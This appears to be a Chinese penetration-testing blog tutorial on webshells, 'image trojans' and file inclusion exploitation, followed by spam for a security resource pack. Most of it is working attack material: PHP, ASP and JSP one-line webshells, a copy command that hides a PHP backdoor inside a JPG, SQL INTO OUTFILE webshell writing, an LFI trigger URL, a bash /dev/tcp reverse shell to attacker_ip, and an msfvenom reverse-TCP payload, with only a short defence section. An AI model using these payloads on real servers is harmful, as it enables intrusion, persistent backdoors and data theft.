渗透测试实战:图片马与文件包含漏洞利用详解,一句话告诉你木马\大马\小马\Webshell与Shell区别



1. Webshell的利用

1.1 Webshell的定义与原理
  • Webshell是一种以ASP、PHP、JSP或CGI等网页文件形式存在的命令执行环境,通常被称为“网页后门”。
  • 黑客通过入侵网站后,将Webshell文件混入服务器的WEB目录(如/var/www/html),然后通过浏览器访问这些恶意脚本,获取命令执行权限,从而控制服务器。
  • Webshell的功能包括但不限于文件上传/下载、数据库操作、远程命令执行(RCE)以及权限提升。

原理: Webshell的植入通常利用网站漏洞,例如:

  • 文件上传漏洞:绕过上传过滤,直接上传恶意脚本。

  • SQL注入漏洞:通过注入写入文件到服务器目录。

  • RCE漏洞:利用代码执行漏洞运行恶意命令。

1.2 Webshell的分类与实战利用
分类
  1. 大马

    • 特点:体积大、功能全面,支持文件管理、数据库操作、权限提升等。

    • 实战示例:利用CMS(如WordPress)的文件上传漏洞上传c99shell.php,通过浏览器访问后可直接管理服务器。

    • 代码示例(PHP大马):

      <?php
      if(isset($_POST['cmd'])) {
          system($_POST['cmd']);
      }
      ?>
      
  2. 小马

    • 特点:轻量级,功能单一,通常用于初步渗透或作为“大马”的跳板。

    • 实战示例:上传一个仅几十字节的小马,通过其上传大马。例如:

      <?php @eval($\_POST\['key'\]); ?>
      
    • 技巧:小马常用于绕过WAF(Web应用防火墙)检测,因其代码短小隐蔽性强。

  3. 一句话木马

    • 特点:代码极简(如一行),隐蔽性高,常配合客户端工具(如中国菜刀、蚁剑)管理。

    • 常见代码

      PHP:<?php @eval($_POST['value']); ?>
      
      ASP:<%eval request("value")%>
      
      JSP:<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
      
    • 实战利用:通过SQL注入将一句话木马写入服务器文件,然后用工具连接管理。

利用限制条件
  • 需知道网站文件物理路径(如/etc/apache2/html)。

  • 目标目录需具有写权限。

  • 对于数据库操作,需具备MySQL root权限,且secure_file_priv配置为空(否则无法写入文件)。

实战技术手法
  1. 利用文件上传漏洞

    • 工具:Burp Suite抓包修改上传请求,将.php伪装为.jpg

    • 步骤:上传<?php eval($_POST['cmd']); ?>,访问URL执行命令。

  2. SQL注入写入Webshell

    • SQL语句示例:

      SELECT '<?php eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
      
    • 前提:数据库用户有文件操作权限。

  3. RCE直接执行

    • 示例:利用PHP的system()函数执行whoami,确认权限。
1.3 Webshell与Shell的区别
  • Webshell:基于Web服务器的持久化后门,通过HTTP请求持续控制。

  • Shell:通常指通过漏洞(如缓冲区溢出)获得的系统命令行环境,如反弹Shell或GetShell。

    • GetShell:获取目标系统Shell的过程,可能通过漏洞直接反弹(如bash -i >& /dev/tcp/attacker_ip/4444 0>&1)。

    • 反弹Shell:不具备持久性,断线后需重新获取。

关键差异:Webshell依赖Web服务,隐蔽性更强;Shell依赖系统漏洞,控制更直接但持久性较弱。


我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

2. 图片马的利用方式

2.1 图片马的定义与生成
  • 图片马是一种将恶意代码(如一句话木马)隐藏在图片文件中的特殊Webshell。
  • 它通过文件拼接技术生成,外观为正常图片,但可被特定漏洞利用执行代码。

生成步骤

  1. 准备文件:

    • 一张图片(如001.jpg)。

    • 一句话木马(如test.php<?php eval($_POST['yuer']); ?>)。

  2. 使用DOS命令拼接:

    copy 001.jpg/b + test.php/a 2.jpg
    
    • /b:以二进制模式读取图片。

    • /a:以文本模式读取PHP代码。

  1. 输出结果:生成新文件2.jpg,表面是图片,实际包含可执行代码。

2.2 图片马的实战利用技术

利用前提:需要配合文件包含漏洞(File Inclusion Vulnerability)。

文件包含漏洞简介

文件包含漏洞分为本地文件包含(LFI)和远程文件包含(RFI),常见于PHP等语言。例如:

<?php
$file = $_GET['file'];
include($file);
?>

攻击者可通过参数控制加载恶意文件。

利用步骤
  1. 上传图片马

    • 2.jpg上传至服务器(如/upload/2.jpg)。
  2. 触发文件包含

    • 构造URL:http://127.0.0.1/include.php?file=upload/2.jpg

    • 服务器解析2.jpg时执行隐藏的PHP代码。

  3. 连接管理

    • 使用Webshell客户端(如蚁剑)输入密码yuer,连接并执行命令。
高级技巧
  • 绕过过滤:将图片马命名为test.jpg.php,利用服务器解析规则执行。

  • 伪协议利用:结合php://filter读取文件内容:

    http://127.0.0.1/include.php?file=php://filter/convert.base64-encode/resource=upload/2.jpg
    
  • 日志投毒:将恶意代码写入服务器日志(如Apache的access.log),再通过LFI包含执行。

与Webshell的区别
  • Webshell可直接通过URL访问执行,图片马需文件包含漏洞触发。

  • 图片马隐蔽性更强,绕过基于语言特征的检测。


3. 木马病毒的破坏与控制手段

3.1 木马病毒的直接破坏方式
  • 磁盘数据破坏:改写或删除关键文件,导致系统崩溃。

  • 数据库破坏:篡改或泄露数据库内容,造成数据丢失。

  • 资源占用:消耗CPU和内存,影响正常运行。

3.2 木马病毒的控制手段
  • 远程控制:通过C2服务器(如nc -lvp 4444)接收指令。

  • 键盘记录:捕获用户输入,窃取凭据。

  • 数据窃取:打包敏感文件上传至攻击者服务器。

3.3 免杀与后门技术
  • 免杀

    • 编码混淆:使用Base64或Hex编码隐藏恶意代码。

    • 分离加载:将代码分段存储,运行时动态拼接。

    • 工具:使用msfvenom生成免杀Payload:

      msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f raw > shell.php
      
  • 后门

    • 计划任务:添加定时任务反弹Shell。

    • 服务驻留:伪装为系统服务启动。


4. 防范与防御措施

  1. 代码审计

    • 检查文件上传功能,限制文件类型和大小。

    • 禁用危险函数(如eval()system())。

  2. 权限管理

    • Web目录仅赋予最小权限,禁止写操作。

    • 数据库用户禁用文件操作权限。

  3. 安全配置

    • 设置secure_file_priv=/tmp/,限制MySQL文件写入。

    • 配置WAF拦截恶意请求。

  4. 检测与响应

    • 部署IDS/IPS监控异常流量。

    • 定期扫描服务器文件,检查可疑脚本。


5. 总结

  • Webshell vs 图片马:Webshell依赖直接访问,功能全面;图片马需文件包含漏洞触发,隐蔽性更强。

  • 实战价值:通过漏洞利用、工具配合(如Burp Suite、蚁剑),攻击者可实现从渗透到控制的全流程。

  • 防御重点:加强输入验证、权限控制和实时监控,能有效降低木马入侵风险。


网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值